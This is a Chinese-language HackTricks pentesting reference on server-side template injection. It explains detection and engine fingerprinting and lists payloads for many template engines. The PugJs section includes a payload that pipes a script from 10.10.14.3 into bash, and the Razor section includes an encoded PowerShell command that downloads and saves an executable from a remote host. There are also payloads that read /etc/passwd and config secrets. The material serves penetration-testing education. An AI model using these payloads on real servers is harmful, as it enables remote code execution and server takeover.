SSTI (Server Side Template Injection)

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

什么是SSTI(服务器端模板注入)

服务器端模板注入是一种漏洞,当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到,包括Jinja。

Jinja是一种常用的用于Web应用程序的模板引擎。让我们看一个示例,演示使用Jinja的易受攻击代码片段:

在这个易受攻击的代码中,用户请求中的 name 参数直接通过 render 函数传递到模板中。这可能会让攻击者注入恶意代码到 name 参数中,导致服务器端模板注入。

例如,攻击者可以构造一个带有如下载荷的请求:

{{bad-stuff-here}}负载注入到name参数中。该负载可以包含Jinja模板指令,使攻击者能够执行未经授权的代码或操纵模板引擎,从而潜在地控制服务器。

为防止服务器端模板注入漏洞,开发人员应确保用户输入在插入模板之前经过适当的清理和验证。实施输入验证并使用上下文感知的转义技术可以帮助减轻此漏洞的风险。

检测

要检测服务器端模板注入(SSTI),最初,对模板进行模糊测试是一种直接的方法。这涉及将一系列特殊字符(${{<%[%'"}}%\)注入到模板中,并分析服务器对常规数据与此特殊负载的响应之间的差异。漏洞指示包括:

  • 抛出错误,揭示漏洞并可能揭示模板引擎。

  • 反射中负载的缺失,或部分缺失,暗示服务器对其进行处理方式与常规数据不同。

  • 明文上下文:通过检查服务器是否评估模板表达式(例如{{7*7}}${7*7})来区分XSS。

  • 代码上下文:通过更改输入参数来确认漏洞。例如,将http://vulnerable-website.com/?greeting=data.username中的greeting更改为查看服务器输出是否动态或固定,例如greeting=data.username}}hello返回用户名。

识别阶段

识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括${7/0}{{7/0}}<%= 7/0 %>。观察服务器对数学运算的响应有助于确定特定的模板引擎。

工具

一款高效的SSTI + CSTI扫描器,利用新颖的多语言混合技术。

一个交互式表格,包含最有效的模板注入多语言混合代码,以及对44个最重要的模板引擎的预期响应。

攻击

通用

在这个单词列表中,您可以找到下面提到的一些引擎环境中定义的变量

Java

Java - 基本注入

Java - 检索系统的环境变量

Java - 检索 /etc/passwd

FreeMarker (Java)

您可以在 https://try.freemarker.apache.org 尝试您的有效负载

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

Freemarker - 沙盒绕过

⚠️ 仅适用于版本低于2.3.30的Freemarker。

更多信息

Velocity (Java)

更多信息

Thymeleaf

在Thymeleaf中,用于测试SSTI漏洞的常见表达式是${7*7},这也适用于这个模板引擎。对于潜在的远程代码执行,可以使用以下表达式:

  • SpringEL:

  • OGNL:

Thymeleaf要求这些表达式放置在特定属性中。然而,对于其他模板位置,支持_expression inlining_,使用类似[[...]][(...)]的语法。因此,一个简单的SSTI测试有效载荷可能看起来像[[${7*7}]]

然而,这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的TemplateResolver来从字符串中动态创建模板,这是不常见的。

Thymeleaf还提供_expression preprocessing_,其中双下划线(__...__)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf的文档中所示:

Thymeleaf漏洞示例

考虑以下代码片段,可能容易受到利用:

这表明,如果模板引擎未正确处理这些输入,可能会导致远程代码执行,访问类似以下的URL:

更多信息

EL - Expression Language

Spring Framework (Java)

绕过过滤器

如果${...}无效,请尝试使用#{...}*{...}@{...}~{...}来使用多个变量表达式。

  • 读取/etc/passwd

  • 用于生成 payload 的自定义脚本

更多信息

Spring视图操作(Java)

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble的旧版本(<版本3.0.9):

新版本的Pebble:

Jinjava (Java)

Jinjava是一个用于Java的模板引擎,允许开发人员在应用程序中使用模板。它支持在模板中执行代码,这可能导致服务器端模板注入漏洞。攻击者可以利用这种漏洞执行恶意代码,访问敏感数据,甚至完全控制服务器。在进行渗透测试时,应特别注意检查应用程序中是否存在SSTI漏洞,以确保服务器的安全性。

Jinjava是由Hubspot开发的开源项目,可在https://github.com/HubSpot/jinjava/找到。

Jinjava - 命令执行

已修复,修复详情请见https://github.com/HubSpot/jinjava/pull/230

更多信息

Hubspot - HuBL (Java)

  • {% %} 语句定界符

  • {{ }} 表达式定界符

  • {# #} 注释定界符

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了Github上的Jinjava项目

更多信息

表达式语言 - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

表达式语言(EL)是一项基本功能,有助于在JavaEE中的表示层(如网页)和应用逻辑(如托管bean)之间进行交互。它在多个JavaEE技术中被广泛使用,以简化这种通信。利用EL的关键JavaEE技术包括:

  • JavaServer Faces (JSF):使用EL将JSF页面中的组件绑定到相应的后端数据和操作。

  • JavaServer Pages (JSP):EL用于在JSP中访问和操作数据,使页面元素与应用数据连接更容易。

  • Contexts and Dependency Injection for Java EE (CDI):EL与CDI集成,允许Web层和托管bean之间无缝交互,确保更一致的应用程序结构。

查看以下页面以了解有关EL解释器利用的更多信息:

EL - Expression Language

Groovy (Java)

以下安全管理器绕过方法取自于这篇文章

​​RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

Smarty (PHP)

更多信息

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

Twig - 模板格式

更多信息

Plates(PHP)

Plates是一种原生于PHP的模板引擎,灵感来自Twig。然而,与Twig不同的是,Plates在模板中利用原生PHP代码,使其对PHP开发人员更直观。

页面模板:

布局模板:

更多信息

PHPlib 和 HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB 与 PHPlib 相同,但移植到了 Pear。

authors.tpl

authors.php

Server-Side Template Injection (SSTI)

Description

In this scenario, the application is vulnerable to Server-Side Template Injection (SSTI). SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to arbitrary code execution and a potential compromise of the server.

Steps to Reproduce

  1. Access the authors.php page.

  2. Input the payload {{7*7}} in the search field.

  3. Observe that the page displays the result of the calculation 49.

Impact

By exploiting SSTI, an attacker can execute arbitrary code on the server, potentially leading to data exfiltration, server compromise, or other malicious activities.

更多信息

Jade (NodeJS)

更多信息

patTemplate (PHP)

patTemplate是一个非编译的 PHP 模板引擎,使用 XML 标记将文档分成不同部分。

更多信息

Handlebars (NodeJS)

路径遍历(更多信息请参考此处)。

  • = 错误

  • ${7*7} = ${7*7}

更多信息

JsRender (NodeJS)

模板

描述

评估和呈现输出

评估和呈现HTML编码的输出

注释

允许代码(默认情况下禁用)

  • = 49

客户端

服务器端

更多信息

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

示例服务器端渲染

更多信息

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = 无输出

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = 错误

更多信息

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

更多信息

Slim (Ruby)

  • { 7 * 7 }

更多信息

Python

查看以下页面,了解有关在Python中绕过沙盒进行任意命令执行的技巧:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

更多信息

Jinja2 (Python)

官方网站

Jinja2是Python的一个功能齐全的模板引擎。它具有完整的Unicode支持,可选的集成沙盒执行环境,被广泛使用并且采用BSD许可证。

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} 无

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

Jinja2 - 模板格式

不依赖 __builtins__ 的 RCE:

关于如何滥用Jinja的更多细节:

Jinja2 SSTI

其他有效载荷请参考https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

更多信息

Razor (.Net)

  • @(2+2) <= 成功

  • @() <= 成功

  • @("{{code}}") <= 成功

  • @ <= 成功

  • @{} <= 错误!

  • @{ <= 错误!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET的System.Diagnostics.Process.Start方法可用于在服务器上启动任何进程,从而创建Webshell。您可以在https://github.com/cnotin/RazorVulnerableApp找到一个易受攻击的Web应用示例。

更多信息

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = 无

  • <%= response.write(date()) %> = <Date>

更多信息

Mojolicious (Perl)

即使是 Perl,它也使用类似 Ruby 中的 ERB 标记。

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

GO 中的 SSTI

在 Go 的模板引擎中,可以使用特定的有效载荷来确认其使用方式:

  • {{ . }}: 显示数据结构输入。例如,如果传递了一个带有 Password 属性的对象,{{ .Password }} 可能会暴露它。

  • {{printf "%s" "ssti" }}: 预期显示字符串 "ssti"。

  • {{html "ssti"}}, {{js "ssti"}}: 这些有效载荷应返回 "ssti" 而不附加 "html" 或 "js"。更多指令可以在 Go 文档中探索 这里

XSS 利用

使用 text/template 包,可以通过直接插入有效载荷来简单地进行 XSS 攻击。相反,html/template 包对响应进行编码以防止此类攻击(例如,{{"<script>alert(1)</script>"}} 的结果是 &lt;script&gt;alert(1)&lt;/script&gt;)。然而,在 Go 中,模板定义和调用可以绕过此编码:{{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet 复制代码

RCE 利用

html/templatetext/template 之间的 RCE 利用方式有很大不同。text/template 模块允许直接调用任何公共函数(使用“call”值),而在 html/template 中不允许这样做。这些模块的文档可在 这里查看 html/template这里查看 text/template

对于 Go 中的 SSTI,可以调用对象方法来实现 RCE。例如,如果提供的对象具有执行命令的 System 方法,可以像这样利用它:{{ .System "ls" }}。通常需要访问源代码才能利用此功能,就像给定的示例中所示:

更多信息

更多利用

查看 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection 获取更多利用。您还可以在 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI 中找到有趣的标签信息。

BlackHat PDF

相关帮助

如果您认为有用,请阅读:

工具

暴力检测列表

练习和参考

​​​RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于